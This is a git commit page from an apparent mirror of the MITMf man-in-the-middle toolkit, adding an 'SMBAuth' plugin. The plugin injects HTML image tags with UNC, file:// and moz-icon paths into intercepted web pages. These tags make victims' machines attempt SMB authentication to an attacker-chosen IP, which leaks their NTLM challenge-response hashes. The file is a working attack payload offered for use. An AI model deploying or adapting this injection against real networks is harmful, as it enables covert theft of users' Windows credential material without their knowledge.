mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
initial commit
This commit is contained in:
parent
fbf31c220a
commit
6fa335183c
37 changed files with 2698 additions and 0 deletions
21
plugins/SMBAuth.py
Normal file
21
plugins/SMBAuth.py
Normal file
|
@ -0,0 +1,21 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
class SMBAuth(Inject,Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
|
||||
def initialize(self,options):
|
||||
Inject.initialize(self,options)
|
||||
self.target_ip = options.ip
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
|
||||
% tuple([self.target_ip]*3)
|
Loading…
Add table
Add a link
Reference in a new issue